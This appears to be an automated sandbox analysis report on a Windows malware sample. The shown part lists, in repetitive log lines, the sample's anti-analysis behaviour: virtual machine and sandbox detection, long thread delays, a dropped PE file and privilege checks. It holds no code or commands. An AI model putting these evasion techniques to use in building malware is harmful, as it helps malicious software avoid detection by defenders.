Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Query firmware table information (likely to detect VMs)

Source: C:\Windows\explorer.exe

System information queried: FirmwareTableInformation

Jump to behavior

Tries to detect sandboxes / dynamic malware analysis system (QueryWinSAT)

Source: C:\Windows\hh.exe

Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{05DF8D13-C355-47F4-A11E-851B338CEFB8}

Jump to behavior

Source: C:\Users\user\Desktop\VJQyKuHEUe.exe	Memory allocated: 2750000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\VJQyKuHEUe.exe	Memory allocated: 28F0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\VJQyKuHEUe.exe	Memory allocated: 48F0000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Windows\explorer.exe

File opened / queried: SCSI#Disk&Ven_VMware&Prod_Virtual_disk#4&1656f219&0&000000#{53f56307-b6bf-11d0-94f2-00a0c91efb8b}

Jump to behavior

Source: C:\Users\user\Desktop\VJQyKuHEUe.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\VJQyKuHEUe.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Users\user\Desktop\VJQyKuHEUe.exe	Thread delayed: delay time: 599875	Jump to behavior
Source: C:\Users\user\Desktop\VJQyKuHEUe.exe	Thread delayed: delay time: 599766	Jump to behavior
Source: C:\Users\user\Desktop\VJQyKuHEUe.exe	Thread delayed: delay time: 599657	Jump to behavior
Source: C:\Users\user\Desktop\VJQyKuHEUe.exe	Thread delayed: delay time: 599532	Jump to behavior
Source: C:\Users\user\Desktop\VJQyKuHEUe.exe	Thread delayed: delay time: 599422	Jump to behavior
Source: C:\Users\user\Desktop\VJQyKuHEUe.exe	Thread delayed: delay time: 599313	Jump to behavior
Source: C:\Users\user\Desktop\VJQyKuHEUe.exe	Thread delayed: delay time: 599188	Jump to behavior
Source: C:\Users\user\Desktop\VJQyKuHEUe.exe	Thread delayed: delay time: 599063	Jump to behavior
Source: C:\Users\user\Desktop\VJQyKuHEUe.exe	Thread delayed: delay time: 598938	Jump to behavior
Source: C:\Users\user\Desktop\VJQyKuHEUe.exe	Thread delayed: delay time: 598813	Jump to behavior
Source: C:\Users\user\Desktop\VJQyKuHEUe.exe	Thread delayed: delay time: 598703	Jump to behavior
Source: C:\Users\user\Desktop\VJQyKuHEUe.exe	Thread delayed: delay time: 598594	Jump to behavior
Source: C:\Users\user\Desktop\VJQyKuHEUe.exe	Thread delayed: delay time: 598469	Jump to behavior
Source: C:\Users\user\Desktop\VJQyKuHEUe.exe	Thread delayed: delay time: 598348	Jump to behavior
Source: C:\Users\user\Desktop\VJQyKuHEUe.exe	Thread delayed: delay time: 598235	Jump to behavior
Source: C:\Users\user\Desktop\VJQyKuHEUe.exe	Thread delayed: delay time: 598125	Jump to behavior
Source: C:\Users\user\Desktop\VJQyKuHEUe.exe	Thread delayed: delay time: 598013	Jump to behavior
Source: C:\Users\user\Desktop\VJQyKuHEUe.exe	Thread delayed: delay time: 597907	Jump to behavior
Source: C:\Users\user\Desktop\VJQyKuHEUe.exe	Thread delayed: delay time: 597782	Jump to behavior
Source: C:\Users\user\Desktop\VJQyKuHEUe.exe	Thread delayed: delay time: 597657	Jump to behavior
Source: C:\Users\user\Desktop\VJQyKuHEUe.exe	Thread delayed: delay time: 597532	Jump to behavior
Source: C:\Users\user\Desktop\VJQyKuHEUe.exe	Thread delayed: delay time: 597407	Jump to behavior
Source: C:\Users\user\Desktop\VJQyKuHEUe.exe	Thread delayed: delay time: 597282	Jump to behavior
Source: C:\Users\user\Desktop\VJQyKuHEUe.exe	Thread delayed: delay time: 597157	Jump to behavior
Source: C:\Users\user\Desktop\VJQyKuHEUe.exe	Thread delayed: delay time: 597047	Jump to behavior
Source: C:\Users\user\Desktop\VJQyKuHEUe.exe	Thread delayed: delay time: 596938	Jump to behavior
Source: C:\Users\user\Desktop\VJQyKuHEUe.exe	Thread delayed: delay time: 596813	Jump to behavior
Source: C:\Users\user\Desktop\VJQyKuHEUe.exe	Thread delayed: delay time: 596688	Jump to behavior
Source: C:\Users\user\Desktop\VJQyKuHEUe.exe	Thread delayed: delay time: 596563	Jump to behavior
Source: C:\Users\user\Desktop\VJQyKuHEUe.exe	Thread delayed: delay time: 596438	Jump to behavior
Source: C:\Users\user\Desktop\VJQyKuHEUe.exe	Thread delayed: delay time: 596327	Jump to behavior
Source: C:\Users\user\Desktop\VJQyKuHEUe.exe	Thread delayed: delay time: 596208	Jump to behavior
Source: C:\Users\user\Desktop\VJQyKuHEUe.exe	Thread delayed: delay time: 596052	Jump to behavior
Source: C:\Users\user\Desktop\VJQyKuHEUe.exe	Thread delayed: delay time: 595938	Jump to behavior
Source: C:\Users\user\Desktop\VJQyKuHEUe.exe	Thread delayed: delay time: 595813	Jump to behavior
Source: C:\Users\user\Desktop\VJQyKuHEUe.exe	Thread delayed: delay time: 595703	Jump to behavior
Source: C:\Users\user\Desktop\VJQyKuHEUe.exe	Thread delayed: delay time: 595594	Jump to behavior
Source: C:\Users\user\Desktop\VJQyKuHEUe.exe	Thread delayed: delay time: 595484	Jump to behavior
Source: C:\Users\user\Desktop\VJQyKuHEUe.exe	Thread delayed: delay time: 595368	Jump to behavior
Source: C:\Users\user\Desktop\VJQyKuHEUe.exe	Thread delayed: delay time: 595220	Jump to behavior
Source: C:\Users\user\Desktop\VJQyKuHEUe.exe	Thread delayed: delay time: 595094	Jump to behavior
Source: C:\Users\user\Desktop\VJQyKuHEUe.exe	Thread delayed: delay time: 594983	Jump to behavior
Source: C:\Users\user\Desktop\VJQyKuHEUe.exe	Thread delayed: delay time: 594874	Jump to behavior
Source: C:\Users\user\Desktop\VJQyKuHEUe.exe	Thread delayed: delay time: 594766	Jump to behavior
Source: C:\Users\user\Desktop\VJQyKuHEUe.exe	Thread delayed: delay time: 594657	Jump to behavior
Source: C:\Users\user\Desktop\VJQyKuHEUe.exe	Thread delayed: delay time: 594532	Jump to behavior
Source: C:\Users\user\Desktop\VJQyKuHEUe.exe	Thread delayed: delay time: 594407	Jump to behavior
Source: C:\Users\user\Desktop\VJQyKuHEUe.exe	Thread delayed: delay time: 594282	Jump to behavior
Source: C:\Users\user\Desktop\VJQyKuHEUe.exe	Thread delayed: delay time: 594157	Jump to behavior

Source: C:\Users\user\Desktop\VJQyKuHEUe.exe	Window / User API: threadDelayed 7297	Jump to behavior
Source: C:\Users\user\Desktop\VJQyKuHEUe.exe	Window / User API: threadDelayed 2424	Jump to behavior
Source: C:\Windows\hh.exe	Window / User API: threadDelayed 3385	Jump to behavior
Source: C:\Windows\hh.exe	Window / User API: threadDelayed 2707	Jump to behavior
Source: C:\Windows\hh.exe	Window / User API: threadDelayed 3289	Jump to behavior
Source: C:\Windows\explorer.exe	Window / User API: foregroundWindowGot 745	Jump to behavior
Source: C:\Windows\explorer.exe	Window / User API: foregroundWindowGot 704	Jump to behavior

Source: C:\Users\user\Desktop\VJQyKuHEUe.exe

Dropped PE file which has not been started: C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\libcef.raw

Jump to dropped file

Source: C:\Windows\hh.exe

Check user administrative privileges: GetTokenInformation,DecisionNodes

Source: C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe	API coverage: 0.6 %
Source: C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe	API coverage: 4.7 %
Source: C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe	API coverage: 0.5 %
Source: C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe	API coverage: 0.5 %

Source: C:\Users\user\Desktop\VJQyKuHEUe.exe TID: 3304	Thread sleep time: -30437127721620741s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\VJQyKuHEUe.exe TID: 3304	Thread sleep time: -600000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\VJQyKuHEUe.exe TID: 3304	Thread sleep time: -599875s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\VJQyKuHEUe.exe TID: 3304	Thread sleep time: -599766s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\VJQyKuHEUe.exe TID: 3304	Thread sleep time: -599657s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\VJQyKuHEUe.exe TID: 3304	Thread sleep time: -599532s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\VJQyKuHEUe.exe TID: 3304	Thread sleep time: -599422s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\VJQyKuHEUe.exe TID: 3304	Thread sleep time: -599313s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\VJQyKuHEUe.exe TID: 3304	Thread sleep time: -599188s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\VJQyKuHEUe.exe TID: 3304	Thread sleep time: -599063s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\VJQyKuHEUe.exe TID: 3304	Thread sleep time: -598938s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\VJQyKuHEUe.exe TID: 3304	Thread sleep time: -598813s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\VJQyKuHEUe.exe TID: 3304	Thread sleep time: -598703s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\VJQyKuHEUe.exe TID: 3304	Thread sleep time: -598594s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\VJQyKuHEUe.exe TID: 3304	Thread sleep time: -598469s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\VJQyKuHEUe.exe TID: 3304	Thread sleep time: -598348s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\VJQyKuHEUe.exe TID: 3304	Thread sleep time: -598235s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\VJQyKuHEUe.exe TID: 3304	Thread sleep time: -598125s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\VJQyKuHEUe.exe TID: 3304	Thread sleep time: -598013s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\VJQyKuHEUe.exe TID: 3304	Thread sleep time: -597907s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\VJQyKuHEUe.exe TID: 3304	Thread sleep time: -597782s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\VJQyKuHEUe.exe TID: 3304	Thread sleep time: -597657s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\VJQyKuHEUe.exe TID: 3304	Thread sleep time: -597532s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\VJQyKuHEUe.exe TID: 3304	Thread sleep time: -597407s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\VJQyKuHEUe.exe TID: 3304	Thread sleep time: -597282s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\VJQyKuHEUe.exe TID: 3304	Thread sleep time: -597157s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\VJQyKuHEUe.exe TID: 3304	Thread sleep time: -597047s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\VJQyKuHEUe.exe TID: 3304	Thread sleep time: -596938s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\VJQyKuHEUe.exe TID: 3304	Thread sleep time: -596813s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\VJQyKuHEUe.exe TID: 3304	Thread sleep time: -596688s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\VJQyKuHEUe.exe TID: 3304	Thread sleep time: -596563s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\VJQyKuHEUe.exe TID: 3304	Thread sleep time: -596438s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\VJQyKuHEUe.exe TID: 3304	Thread sleep time: -596327s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\VJQyKuHEUe.exe TID: 3304	Thread sleep time: -596208s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\VJQyKuHEUe.exe TID: 3304	Thread sleep time: -596052s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\VJQyKuHEUe.exe TID: 3304	Thread sleep time: -595938s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\VJQyKuHEUe.exe TID: 3304	Thread sleep time: -595813s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\VJQyKuHEUe.exe TID: 3304	Thread sleep time: -595703s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\VJQyKuHEUe.exe TID: 3304	Thread sleep time: -595594s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\VJQyKuHEUe.exe TID: 3304	Thread sleep time: -595484s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\VJQyKuHEUe.exe TID: 3304	Thread sleep time: -595368s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\VJQyKuHEUe.exe TID: 3304	Thread sleep time: -595220s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\VJQyKuHEUe.exe TID: 3304	Thread sleep time: -595094s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\VJQyKuHEUe.exe TID: 3304	Thread sleep time: -594983s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\VJQyKuHEUe.exe TID: 3304	Thread sleep time: -594874s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\VJQyKuHEUe.exe TID: 3304	Thread sleep time: -594766s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\VJQyKuHEUe.exe TID: 3304	Thread sleep time: -594657s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\VJQyKuHEUe.exe TID: 3304	Thread sleep time: -594532s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\VJQyKuHEUe.exe TID: 3304	Thread sleep time: -594407s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\VJQyKuHEUe.exe TID: 3304	Thread sleep time: -594282s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\VJQyKuHEUe.exe TID: 3304	Thread sleep time: -594157s >= -30000s	Jump to behavior
Source: C:\Windows\hh.exe TID: 4416	Thread sleep count: 3385 > 30	Jump to behavior
Source: C:\Windows\hh.exe TID: 4416	Thread sleep time: -3385000s >= -30000s	Jump to behavior
Source: C:\Windows\hh.exe TID: 516	Thread sleep count: 2707 > 30	Jump to behavior
Source: C:\Windows\hh.exe TID: 4416	Thread sleep count: 3289 > 30	Jump to behavior
Source: C:\Windows\hh.exe TID: 4416	Thread sleep time: -3289000s >= -30000s	Jump to behavior

Source: C:\Windows\hh.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\hh.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\hh.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior

Source: C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe	Code function: 5_2_00007FF8B90F0E70 FindFirstFileExW,FindClose,wcscpy_s,	5_2_00007FF8B90F0E70
Source: C:\Windows\hh.exe	Code function: 7_2_000001CDCB8FF350 CreateToolhelp32Snapshot,CreateToolhelp32Snapshot,CreateToolhelp32Snapshot,RegQueryValueExW,RegQueryValueExW,RegQueryValueExW,RegQueryValueExW,RegQueryValueExW,CreateFileW,WriteFile,FindFirstFileW,_invalid_parameter_noinfo_noreturn,	7_2_000001CDCB8FF350
Source: C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe	Code function: 26_2_00007FF8A9360E70 FindFirstFileExW,FindClose,wcscpy_s,	26_2_00007FF8A9360E70
Source: C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe	Code function: 28_2_00007FF8A8010E70 FindFirstFileExW,FindClose,wcscpy_s,	28_2_00007FF8A8010E70

Source: C:\Windows\hh.exe

7_2_000001CDCB8F6370

Source: C:\Windows\hh.exe

7_2_000001CDCB8F6370

Source: C:\Users\user\Desktop\VJQyKuHEUe.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\VJQyKuHEUe.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Users\user\Desktop\VJQyKuHEUe.exe	Thread delayed: delay time: 599875	Jump to behavior
Source: C:\Users\user\Desktop\VJQyKuHEUe.exe	Thread delayed: delay time: 599766	Jump to behavior
Source: C:\Users\user\Desktop\VJQyKuHEUe.exe	Thread delayed: delay time: 599657	Jump to behavior
Source: C:\Users\user\Desktop\VJQyKuHEUe.exe	Thread delayed: delay time: 599532	Jump to behavior
Source: C:\Users\user\Desktop\VJQyKuHEUe.exe	Thread delayed: delay time: 599422	Jump to behavior
Source: C:\Users\user\Desktop\VJQyKuHEUe.exe	Thread delayed: delay time: 599313	Jump to behavior
